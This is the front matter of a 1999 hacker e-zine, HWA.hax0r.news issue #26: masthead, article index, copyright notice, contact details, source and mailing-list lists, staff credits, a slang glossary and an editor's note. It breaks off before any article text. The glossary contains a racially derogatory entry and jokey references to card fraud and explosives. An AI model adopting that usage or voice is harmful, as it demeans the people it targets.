    [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
  ==========================================================================
  =                       <=-[ HWA.hax0r.news ]-=>                         =
  ==========================================================================
    [=HWA'99=]                         Number 26 Volume 1 1999 July 24th  99
  ==========================================================================
    [                     61:20:6B:69:64:20:63:6F:75:                    ]
    [               6C:64:20:62:72:65:61:6B:20:74:68:69:73:              ]
    [              20:22:65:6E:63:72:79:70:74:69:6F:6E:22:!              ]        
  ==========================================================================

     http://www.fourmilab.to/hackdiet/www/hackdietf.html

	  - The Hacker's Diet:
     	      How to lose weight and hair through stress and poor nutrition 
     	      
     	      
    And joke of the week:
    
    http://support.microsoft.com/support/kb/articles/q149/9/62.asp 	      
     	      


     HWA.hax0r.news is sponsored by Cubesoft communications www.csoft.net
     and www.digitalgeeks.com thanks to p0lix for the digitalgeeks bandwidth
     and airportman for the Cubesoft bandwidth. Also shouts out to all our
     mirror sites! tnx guys. 
     
     http://www.csoft.net/~hwa
     http://www.digitalgeeks.com/hwa

     
     HWA.hax0r.news Mirror Sites:
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
     http://www.csoft.net/~hwa/ 
     http://www.digitalgeeks.com/hwa.
     http://members.tripod.com/~hwa_2k
     http://welcome.to/HWA.hax0r.news/
     http://www.attrition.org/~modify/texts/zines/HWA/
     http://packetstorm.harvard.edu/hwahaxornews/     * DOWN *
     http://archives.projectgamma.com/zines/hwa/.  
     http://www.403-security.org/Htmls/hwa.hax0r.news.htm

   
               
     
        
  
   SYNOPSIS (READ THIS)
   --------------------
   
   The purpose of this newsletter is to 'digest' current events of interest
   that affect the online underground and netizens in general. This includes
   coverage of general security issues, hacks, exploits, underground news
   and anything else I think is worthy of a look see. (remember i'm doing
   this for me, not you, the fact some people happen to get a kick/use
   out of it is of secondary importance).

    This list is NOT meant as a replacement for, nor to compete with, the
   likes of publications such as CuD or PHRACK or with news sites such as
   AntiOnline, the Hacker News Network (HNN) or mailing lists such as
   BUGTRAQ or ISN nor could any other 'digest' of this type do so.

    It *is* intended  however, to  compliment such material and provide a
   reference to those who follow the culture by keeping tabs on as many
   sources as possible and providing links to further info, its a labour
   of love and will be continued for as long as I feel like it, i'm not
   motivated by dollars or the illusion of fame, did you ever notice how
   the most famous/infamous hackers are the ones that get caught? there's
   a lot to be said for remaining just outside the circle... <g>
   
   

   @HWA

   =-----------------------------------------------------------------------=

                     Welcome to HWA.hax0r.news ... #26

   =-----------------------------------------------------------------------=


    
    We could use some more people joining the channel, its usually pretty
    quiet, we don't bite (usually) so if you're hanging out on irc stop
    by and idle a while and say hi...   

    *******************************************************************
    ***      /join #HWA.hax0r.news on EFnet the key is `zwen'       ***
    ***                                                             ***
    *** please join to discuss or impart news on techno/phac scene  ***
    *** stuff or just to hang out ... someone is usually around 24/7***
    ***                                                             ***
    *** Note that the channel isn't there to entertain you its for  ***
    *** you to talk to us and impart news, if you're looking for fun***
    *** then do NOT join our channel try #weirdwigs or something... ***
    *** we're not #chatzone or #hack                                ***
    ***                                                             ***
    *******************************************************************


  =-------------------------------------------------------------------------=
  
  Issue #26

  =--------------------------------------------------------------------------=
  [ INDEX ]
  =--------------------------------------------------------------------------=
    Key     Intros                                                         
  =--------------------------------------------------------------------------=
 
    00.0  .. COPYRIGHTS ......................................................
    00.1  .. CONTACT INFORMATION & SNAIL MAIL DROP ETC .......................
    00.2  .. SOURCES .........................................................
    00.3  .. THIS IS WHO WE ARE ..............................................
    00.4  .. WHAT'S IN A NAME? why `HWA.hax0r.news'?..........................
    00.5  .. THE HWA_FAQ V1.0 ................................................

  =--------------------------------------------------------------------------=
    Key     Content 
  =--------------------------------------------------------------------------=

    01.0  .. GREETS ..........................................................
     01.1 .. Last minute stuff, rumours, newsbytes ...........................
     01.2 .. Mailbag .........................................................
    02.0  .. From the Editor.................................................. 
    03.0  .. NetBus suffers same industry pitfalls as Bo2k....................
    04.0  .. Spreading Viruses Equal A Terrorist Attack ...................... 
    05.0  .. Y2K Bug Fixes May Cause Other Problems ..........................       
    06.0  .. Security Fears are Slowing UK E-Commerce ........................
    07.0  .. More Defc0n than you can shake three sticks at...................
    08.0  .. How to Look Like a Hacker.(quite hilarious really)...............
    09.0  .. AV Vendors Still Scrambling Over BO2K ...........................
    10.0  .. The Back Orifice 2000 Controversy................................
    11.0  .. Year Old IIS Hole Still Causing Problems ........................
    12.0  .. NCIC 2000 Now Online ............................................
    13.0  .. E-commerce Increases Security Risk ..............................
    14.0  .. Cyberspace Relatively Safe ......................................
    15.0  .. AntiOnline Under Investigation ..................................
    16.0  .. Parse Defcon Video Available ....................................
    17.0  .. cDc Challenges Microsoft to Recall SMS (wicked!).................
    18.0  .. BlackHat Insiders Want to Quit Security Biz......................
    19.0  .. Attrition Closes Down Negation .................................. 
    20.0  .. ISS Offers Cracking Tools .......................................
    21.0  .. IBM Researching Proactive Security ..............................
    22.0  .. InET Issue #3 ...................................................
    23.0  .. National ID Card Law Set to be Enacted .......................... 
    24.0  .. Local Agencies Not Concerned About Computer Intrusions ..........
    25.0  .. Microfraud Becomes Big Deal .....................................
    26.0  .. China Arrests One After Posting to Internet .....................
    27.0  .. The Truth About Abe - MTV "Punk Hacker" .........................
    28.0  .. This is just silly:   BO2Kfun Page Shut Down From Overuse .......
    29.0  .. Man Sentenced for Using Cell Phone .............................. 
    30.0  .. HILLARY CLINTON AND HACKERS......................................
    31.0  .. SAMBA 2.0.5 SECURITY FIXES.......................................
    32.0  .. SECURITY STANDARDS FOR BANKING...................................
    33.0  .. What makes UNIX users so smart? .................................
    34.0  .. Statement by Legions of the Underground Released ................
    35.0  .. L0pht Releases Public Beta of AntiSniff .........................
    36.0  .. Bill to Limit Crypto Exports Approved ...........................
    37.0  .. Russian and Ukrainian Govs Monitor Internet Communications ......
    38.0  .. Here we go again,  Mitnick to be Sentenced on Monday (Supposedly)
    39.0  .. Virus Infestations on the Rise (?)...............................
    40.0  .. Do Handheld Electronics cause Problems with Avionics? ...........
    41.0  .. Alert: RDS IIS vulnerability/fix ................................
    42.0  .. Highschool crackers..............................................
    43.0  .. Unauthorized Access to IIS Servers through ODBC Data Access with RDS
    44.0  .. Who's fault is the Y2K bug?. ....................................
    45.0  .. CERT ADVISORY CA-99-09...........................................
    46.0  .. Tracking Criminals With New Technology...........................
    47.0  .. 3Com HiPer Arcs Community Name Vulnerability.....................
    48.0  .. Aleph One in Tokyo...............................................
    49.0  .. Windows2000 introduces Public Key Encryption..................... 
    50.0  .. Remote OS detection via TCP/IP Stack FingerPrinting (Extra)......
    
    =--------------------------------------------------------------------------=   
    
    AD.S  .. Post your site ads or etc here, if you can offer something in return
             thats tres cool, if not we'll consider ur ad anyways so send it in.
             ads for other zines are ok too btw just mention us in yours, please
             remember to include links and an email contact. Corporate ads will
             be considered also and if your company wishes to donate to or 
             participate in the upcoming Canc0n99 event send in your suggestions
             and ads now...n.b date and time may be pushed back join mailing list
             for up to date information.......................................
             Current dates: Aug19th-22nd Niagara Falls...    .................
    Ha.Ha .. Humour and puzzles  ............................................
              
              Hey You!........................................................
              =------=........................................................
              
              Send in humour for this section! I need a laugh and its hard to
              find good stuff... ;)...........................................

    SITE.1 .. Featured site, .................................................
     H.W   .. Hacked Websites  ...............................................
     A.0   .. APPENDICES......................................................
     A.1   .. PHACVW linx and references......................................
 
  =--------------------------------------------------------------------------=
     
     @HWA'99

     
 00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

          THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
          OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
          WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
          (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
          READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).
     
          Important semi-legalese and license to redistribute:
     
          YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF
          AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
          ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED
          IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE
          APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
          IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
          ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
          ME PRIVATELY current email cruciphux@dok.org
     
          THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
          WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
          THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
     
          I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
          AND REDISTRIBUTE/MIRROR. - EoD
     
     
          Although this file and all future issues are now copyright, some of
         the content holds its  own copyright and these are printed and
         respected. News is news so i'll print any and all news but will quote
         sources when the source is known, if its good enough for CNN its good
         enough for me. And i'm doing it for free on my own time so pfffft. :)
     
         No monies are made or sought through the distribution of this material.
         If you have a problem or concern email me and we'll discuss it.
     
         cruciphux@dok.org
     
         Cruciphux [C*:.]



 00.1 CONTACT INFORMATION AND MAIL DROP
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


     Wahoo, we now have a mail-drop, if you are outside of the U.S.A or
    Canada / North America (hell even if you are inside ..) and wish to
    send printed matter like newspaper clippings a subscription to your
    cool foreign hacking zine or photos, small non-explosive packages
    or sensitive information etc etc well, now you can. (w00t) please
    no more inflatable sheep or plastic dog droppings, or fake vomit
    thanks.

    Send all goodies to:

	    HWA NEWS
	    P.O BOX 44118
	    370 MAIN ST. NORTH
	    BRAMPTON, ONTARIO
	    CANADA
	    L6V 4H5

    WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are
    ~~~~~~~  reading this from some interesting places, make my day and get a
             mention in the zine, send in a postcard, I realize that some places
             it is cost prohibitive but if you have the time and money be a cool
             dude / gal and send a poor guy a postcard preferably one that has some
             scenery from your place of residence for my collection, I collect stamps
             too so you kill two birds with one stone by being cool and mailing in a
             postcard, return address not necessary, just a  "hey guys being cool in
             Bahrain, take it easy" will do ... ;-) thanx.



    Ideas for interesting 'stuff' to send in apart from news:

    - Photo copies of old system manual front pages (optionally signed by you) ;-)
    - Photos of yourself, your mom, sister, dog and or cat in a NON
      compromising position plz I don't want pr0n. <g>
    - Picture postcards
    - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
      tapes with hack/security related archives, logs, irc logs etc on em.
    - audio or video cassettes of yourself/others etc of interesting phone
      fun or social engineering examples or transcripts thereof.
    
    
    Stuff you can email:
    
    - Prank phone calls in .ram or .mp* format
    - Fone tones and security announcements from PBX's etc
    - fun shit you sampled off yer scanner (relevant stuff only like #2600 meeting activities)
    - reserved for one smiley face ->        :-)            <-
    - PHACV lists of files that you have or phac cd's you own (we have a burner, *g*)
    - burns of phac cds (email first to make sure we don't already have em)
    - Any and all telephone sounds/tones/beeps/trunk drops/line tests/etc in .ram etc format or .mp*
    

    If you still can't think of anything you're probably not that interesting
    a person after all so don't worry about it <BeG>

    Our current email:

    Submissions/zine gossip.....: hwa@press.usmc.net
    Private email to editor.....: cruciphux@dok.org
    Distribution/Website........: sas72@usa.net

    @HWA



 00.2 Sources ***
      ~~~~~~~~~~~

     Sources can be some, all, or none of the following (by no means complete
    nor listed in any degree of importance) Unless otherwise noted, like msgs
    from lists or news from other sites, articles and information is compiled
    and or sourced by Cruciphux no copyright claimed.

    News & I/O zine ................. <a href="http://www.antionline.com/">http://www.antionline.com/</a>
    Back Orifice/cDc..................<a href="http://www.cultdeadcow.com/">http://www.cultdeadcow.com/</a>
    News site (HNN) .....,............<a href="http://www.hackernews.com/">http://www.hackernews.com/</a>
    Help Net Security.................<a href="http://net-security.org/">http://net-security.org/</a>
    News,Advisories,++ .(lophtcrack)..<a href="http://www.l0pht.com/">http://www.l0pht.com/</a>
    NewsTrolls .(daily news ).........<a href="http://www.newstrolls.com/">http://www.newstrolls.com/</a>
    News + Exploit archive ...........<a href="http://www.rootshell.com/beta/news.html">http://www.rootshell.com/beta/news.html</a>
    CuD Computer Underground Digest...<a href="http://www.soci.niu.edu/~cudigest">http://www.soci.niu.edu/~cudigest</a>
    News site+........................<a href="http://www.zdnet.com/">http://www.zdnet.com/</a>
    News site+Security................<a href="http://www.gammaforce.org/">http://www.gammaforce.org/</a>
    News site+Security................<a href="http://www.projectgamma.com/">http://www.projectgamma.com/</a>
    News site+Security................<a href="http://securityhole.8m.com/">http://securityhole.8m.com/</a>
    News site+Security related site...<a href="http://www.403-security.org/">http://www.403-security.org/</a>
    News/Humour site+ ................<a href="http://www.innerpulse.com/>http://www.innerpulse.com</a>
    News/Techie news site.............<a href="http://www.slashdot.org/>http://www.slashdot.org</a>
    
    

    +Various mailing lists and some newsgroups, such as ...
    +other sites available on the HNN affiliates page, please see
     http://www.hackernews.com/affiliates.html as they seem to be popping up
     rather frequently ...

    
    http://www.the-project.org/ .. IRC list/admin archives
    http://www.anchordesk.com/  .. Jesse Berst's AnchorDesk

    alt.hackers.malicious
    alt.hackers
    alt.2600
    BUGTRAQ
    ISN security mailing list
    ntbugtraq
    <+others>

    NEWS Agencies, News search engines etc:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    http://www.cnn.com/SEARCH/
    <a href="http://www.cnn.com/SEARCH/">Link</a>
    
    http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0
    <a href="http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0">Link</a>
    
    http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack
    <a href="http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack">Link</a>
    
    http://www.ottawacitizen.com/business/
    <a href="http://www.ottawacitizen.com/business/">Link</a>
    
    http://search.yahoo.com.sg/search/news_sg?p=hack
    <a href="http://search.yahoo.com.sg/search/news_sg?p=hack">Link</a>
    
    http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack
    <a href="http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack">Link</a>
    
    http://www.zdnet.com/zdtv/cybercrime/
    <a href="http://www.zdnet.com/zdtv/cybercrime/">Link</a>
    
    http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
    <a href="http://www.zdnet.com/zdtv/cybercrime/chaostheory/">Link</a>
    
    NOTE: See appendices for details on other links.
    


    http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
    <a href="http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm">Link</a>
    
    http://freespeech.org/eua/ Electronic Underground Affiliation
    <a href="http://freespeech.org/eua/">Link</a>
    
    http://ech0.cjb.net ech0 Security
    <a href="http://ech0.cjb.net">Link</a>

    http://axon.jccc.net/hir/ Hackers Information Report
    <a href="http://axon.jccc.net/hir/">Link</a>
    
    http://net-security.org Net Security
    <a href="http://net-security.org">Link</a>  
    
    http://www.403-security.org Daily news and security related site
    <a href="http://www.403-security.org">Link</a>
    

    Submissions/Hints/Tips/Etc
    ~~~~~~~~~~~~~~~~~~~~~~~~~~

    All submissions that are `published' are printed with the credits
    you provide, if no response is received by a week or two it is assumed
    that you don't care wether the article/email is to be used in an issue
    or not and may be used at my discretion.

    Looking for:

    Good news sites that are not already listed here OR on the HNN affiliates
    page at http://www.hackernews.com/affiliates.html

    Magazines (complete or just the articles) of breaking sekurity or hacker
    activity in your region, this includes telephone phraud and any other
    technological use, abuse hole or cool thingy. ;-) cut em out and send it
    to the drop box.


    - Ed

    Mailing List Subscription Info   (Far from complete)         Feb 1999
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ~~~~~~~~~~~~~~~~~~~         ~~~~~~~~

    ISS Security mailing list faq : http://www.iss.net/iss/maillist.html


    THE MOST READ:

    BUGTRAQ - Subscription info
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~

    What is Bugtraq?

    Bugtraq is a full-disclosure UNIX security mailing list, (see the info
    file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to
    bugtraq, send mail to listserv@netspace.org containing the message body
    subscribe bugtraq. I've been archiving this list on the web since late
    1993. It is searchable with glimpse and archived on-the-fly with hypermail.

    Searchable Hypermail Index;

          http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html

          <a href="http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html">Link</a>

    About the Bugtraq mailing list
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    The following comes from Bugtraq's info file:

    This list is for *detailed* discussion of UNIX security holes: what they are,
    how to exploit, and what to do to fix them.

    This list is not intended to be about cracking systems or exploiting their
    vulnerabilities. It is about defining, recognizing, and preventing use of
    security holes and risks.

    Please refrain from posting one-line messages or messages that do not contain
    any substance that can relate to this list`s charter.

    I will allow certain informational posts regarding updates to security tools,
    documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
    on this list.

    Please follow the below guidelines on what kind of information should be posted
    to the Bugtraq list:

    + Information on Unix related security holes/backdoors (past and present)
    + Exploit programs, scripts or detailed processes about the above
    + Patches, workarounds, fixes
    + Announcements, advisories or warnings
    + Ideas, future plans or current works dealing with Unix security
    + Information material regarding vendor contacts and procedures
    + Individual experiences in dealing with above vendors or security organizations
    + Incident advisories or informational reporting

    Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq
    reflector address if the response does not meet the above criteria.

    Remember: YOYOW.

    You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of
    those words without your permission in any medium outside the distribution of this list may be challenged by you, the author.

    For questions or comments, please mail me:
    chasin@crimelab.com (Scott Chasin)


    
    Crypto-Gram
    ~~~~~~~~~~~

       CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
      insights, and commentaries on cryptography and computer security.

      To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
      blank message to crypto-gram-subscribe@chaparraltree.com.  To unsubscribe,
      visit http://www.counterpane.com/unsubform.html.  Back issues are available
      on http://www.counterpane.com.

       CRYPTO-GRAM is written by Bruce Schneier.  Schneier is president of
      Counterpane Systems, the author of "Applied Cryptography," and an inventor
      of the Blowfish, Twofish, and Yarrow algorithms.  He served on the board of
      the International Association for Cryptologic Research, EPIC, and VTW.  He
      is a frequent writer and lecturer on cryptography.


    CUD Computer Underground Digest
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    This info directly from their latest ish:

    Computer underground Digest    Sun  14 Feb, 1999   Volume 11 : Issue 09
     
                      ISSN  1004-042X

       Editor: Jim Thomas (cudigest@sun.soci.niu.edu)
       News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)
       Archivist: Brendan Kehoe
       Poof Reader:   Etaion Shrdlu, Jr.
       Shadow-Archivists: Dan Carosone / Paul Southworth
                          Ralph Sims / Jyrki Kuoppala
                          Ian Dickinson
       Cu Digest Homepage: http://www.soci.niu.edu/~cudigest



    [ISN] Security list
    ~~~~~~~~~~~~~~~~~~~
    This is a low volume list with lots of informative articles, if I had my
    way i'd reproduce them ALL here, well almost all .... ;-) - Ed


    Subscribe: mail majordomo@repsec.com with "subscribe isn".



    @HWA


 00.3 THIS IS WHO WE ARE
      ~~~~~~~~~~~~~~~~~~
 
      Some HWA members and Legacy staff
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      cruciphux@dok.org.........: currently active/editorial
      darkshadez@ThePentagon.com: currently active/man in black
      fprophet@dok.org..........: currently active/IRC+ man in black
      sas72@usa.net ............. currently active/IRC+ distribution
      vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
      dicentra...(email withheld): IRC+ grrl in black
      eentity ...( ''      ''   ): Currently active/IRC+ man in black


      Foreign Correspondants/affiliate members
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
       Qubik ............................: United Kingdom 
       D----Y ...........................: USA/world media
       HWA members ......................: World Media
       
      
      
      Past Foreign Correspondants (currently inactive or presumed dead) 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       N0Portz ..........................: Australia           
       system error .....................: Indonesia           
       Wile (wile coyote) ...............: Japan/the East      
       Ruffneck  ........................: Netherlands/Holland 

       
       Please send in your sites for inclusion here if you haven't already
       also if you want your emails listed send me a note ... - Ed

      Spikeman's site is down as of this writing, if it comes back online it will be
      posted here.
      http://www.hackerlink.or.id/  ............ System Error's site (in Indonesian) 
       

       *******************************************************************
       ***      /join #HWA.hax0r.news on EFnet the key is `zwen'       ***
       *******************************************************************

    :-p


    1. We do NOT work for the government in any shape or form.Unless you count paying
       taxes ... in which case we work for the gov't in a BIG WAY. :-/

    2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news
       events its a good idea to check out issue #1 at least and possibly also the
       Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ...


    @HWA



 00.4 Whats in a name? why HWA.hax0r.news??
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                             
      
      Well what does HWA stand for? never mind if you ever find out I may
     have to get those hax0rs from 'Hackers' or the Pretorians after you.

     In case you couldn't figure it out hax0r is "new skewl" and although
     it is laughed at, shunned, or even pidgeon holed with those 'dumb
     leet (l33t?) dewds' <see article in issue #4> this is the state
     of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you
     up  and comers, i'd highly recommend you get that book. Its almost
     like  buying a clue. Anyway..on with the show .. - Editorial staff


     @HWA

00.5  HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again)
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Also released in issue #3. (revised) check that issue for the faq
    it won't be reprinted unless changed in a big way with the exception
    of the following excerpt from the FAQ, included to assist first time
    readers:

    Some of the stuff related to personal useage and use in this zine are
    listed below: Some are very useful, others attempt to deny the any possible
    attempts at eschewing obfuscation by obsucuring their actual definitions.

    @HWA   - see EoA  ;-)

    !=     - Mathematical notation "is not equal to" or "does not equal"
             ASC(247)  "wavey equals" sign means "almost equal" to. If written
             an =/= (equals sign with a slash thru it) also means !=, =< is Equal
             to or less than and =>  is equal to or greater than (etc, this aint
             fucking grade school, cripes, don't believe I just typed all that..)

    AAM    - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)

    AOL    - A great deal of people that got ripped off for net access by a huge
             clueless isp with sekurity that you can drive buses through, we're
             not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the
             least they could try leasing one??

   *CC     - 1 - Credit Card (as in phraud)
             2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's

    CCC    - Chaos Computer Club (Germany)

   *CON    - Conference, a place hackers crackers and hax0rs among others go to swap
             ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk
             watch videos and seminars, get drunk, listen to speakers, and last but
             not least, get drunk.
   *CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker
                 speak he's the guy that breaks into systems and is often (but by no
                 means always) a "script kiddie" see pheer
              2 . An edible biscuit usually crappy tasting without a nice dip, I like
                  jalapeno pepper dip or chives sour cream and onion, yum - Ed

    Ebonics - speaking like a rastafarian or hip dude of colour <sic> also wigger
              Vanilla Ice is a wigger, The Beastie Boys and rappers speak using
              ebonics, speaking in a dark tongue ... being ereet, see pheer

    EoC    - End of Commentary

    EoA    - End of Article or more commonly @HWA

    EoF    - End of file

    EoD    - End of diatribe (AOL'ers: look it up)

    FUD    - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt",
            usually in general media articles not high brow articles such as ours or other
            HNN affiliates ;)

    du0d   - a small furry animal that scurries over keyboards causing people to type
             weird crap on irc, hence when someone says something stupid or off topic
             'du0d wtf are you talkin about' may be used.

   *HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R

   *HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to
            define, I think it is best defined as pop culture's view on The Hacker ala
            movies such as well erhm "Hackers" and The Net etc... usually used by "real"
            hackers or crackers in a derogatory or slang humorous way, like 'hax0r me
            some coffee?' or can you hax0r some bread on the way to the table please?'

            2 - A tool for cutting sheet metal.

    HHN    - Maybe a bit confusing with HNN but we did spring to life around the same
             time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper
             noun means the hackernews site proper. k? k. ;&

    HNN    - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html

    J00    - "you"(as in j00 are OWN3D du0d) - see 0wn3d

    MFI/MOI- Missing on/from IRC

    NFC   - Depends on context: No Further Comment or No Fucking Comment

    NFR   - Network Flight Recorder (Do a websearch) see 0wn3d

    NFW   - No fuckin'way

   *0WN3D - You are cracked and owned by an elite entity see pheer
   *OFCS  - Oh for christ's sakes

    PHACV - And variations of same <coff>
            Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare

          Alternates: H - hacking, hacktivist
                      C - Cracking <software>
                      C - Cracking <systems hacking>
                      V - Virus
                      W - Warfare <cyberwarfare usually as in Jihad>
                      A - Anarchy (explosives etc, Jolly Roger's Cookbook etc)
                      P - Phreaking, "telephone hacking" PHone fREAKs ...
                     CT - Cyber Terrorism

   *PHEER -  This is what you do when an ereet or elite person is in your presence
            see 0wn3d

   *RTFM  - Read the fucking manual - not always applicable since some manuals are
            pure shit but if the answer you seek is indeed in the manual then you
            should have RTFM you dumb ass.

    TBC   - To Be Continued also 2bc (usually followed by ellipses...) :^0

    TBA   - To Be Arranged/To Be Announced also 2ba

    TFS   - Tough fucking shit.

   *w00t  - 1 - Reserved for the uber ereet, noone can say this without severe repercussions
            from the underground masses. also "w00ten" <sic>

            2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers)

    *wtf  - what the fuck, where the fuck, when the fuck etc ..

    *ZEN  - The state you reach when you *think* you know everything (but really don't)
            usually shortly after reaching the ZEN like state something will break that
            you just 'fixed' or tweaked.
            
     @HWA            
     
     
                            -=-    :.    .:        -=-
                            
                            
                            

 01.0 Greets!?!?! yeah greets! w0w huh. - Ed
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Thanks to all in the community for their support and interest but i'd
     like to see more reader input, help me out here, whats good, what sucks
     etc, not that I guarantee i'll take any notice mind you, but send in
     your thoughts anyway.


       * all the people who sent in cool emails and support
       
     FProphet       Pyra                TwstdPair      _NeM_
     D----Y         Dicentra            vexxation      sAs72
     Spikeman       p0lix  
     
     Also shouts to; kimblerj and xochitl13 who dropped off postcards, tnx guys!
    
     
     Ken Williams/tattooman of PacketStorm, hang in there Ken...:(
          
     & Kevin Mitnick (watch yer back)                              
     
     kewl sites:

     + http://www.securityportal.com/ NEW
     + http://www.securityfocus.com/ NEW
     + http://www.hackcanada.com/
     + http://www.l0pht.com/
     + http://www.2600.com/
     + http://www.freekevin.com/
     + http://www.genocide2600.com/
     + http://www.packetstorm.harvard.edu/    ******* DOWN ********* SEE AA.A
     + http://www.hackernews.com/ (Went online same time we started issue 1!)
     + http://www.net-security.org/
     + http://www.slashdot.org/
     + http://www.freshmeat.net/
     + http://www.403-security.org/
     + http://ech0.cjb.net/

     @HWA


 01.1 Last minute stuff, rumours and newsbytes
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

       "What is popular isn't always right, and what is right isn't
         always popular..."
                           - FProphet '99
                           
       

    +++ When was the last time you backed up your important data?
     
     ++ NO DINERO, NO DOMAIN (TECH. 3:00 am)
        http://www.wired.com/news/news/email/explode-infobeat/technology/story/20878.html

        Network Solutions will demand advance payments for domain
        name registrations in a move designed to squelch
        cyber-squatters. By Debbi Gardiner.

     
     
      Thanks to myself for providing the info from my wired news feed and others from whatever
      sources, also to Spikeman for sending in past entries.... - Ed
      
     @HWA

 01.2 MAILBAG - email and posts from the message board worthy of a read
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    

 02.0 From the editor.
      ~~~~~~~~~~~~~~~~

     #include <stdio.h>
     #include <thoughts.h>
     #include <backup.h>

     main()
     {
      printf ("Read commented source!\n\n");

     /*
      * Issue #26
      * 
      * What can I say? the press is full of bullshit stories
      * about defcon and bo2k, guess nothing else happened 
      * lately.... slim pickings indeed. 
      *
      * hwa@press.usmc.net
      *
      */
      printf ("EoF.\n");
      }

      

      Congrats, thanks, articles, news submissions and kudos to us at the
     main address: hwa@press.usmc.net complaints and all nastygrams and
     mai*lbombs can go to /dev/nul nukes, synfloods and papasmurfs to
     127.0.0.1, private mail to cruciphux@dok.org

     danke.

     C*:.
     
 03.0 NetBus suffers same industry pitfalls as Bo2k
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
      From HNN http://www.hackernews.com/
       
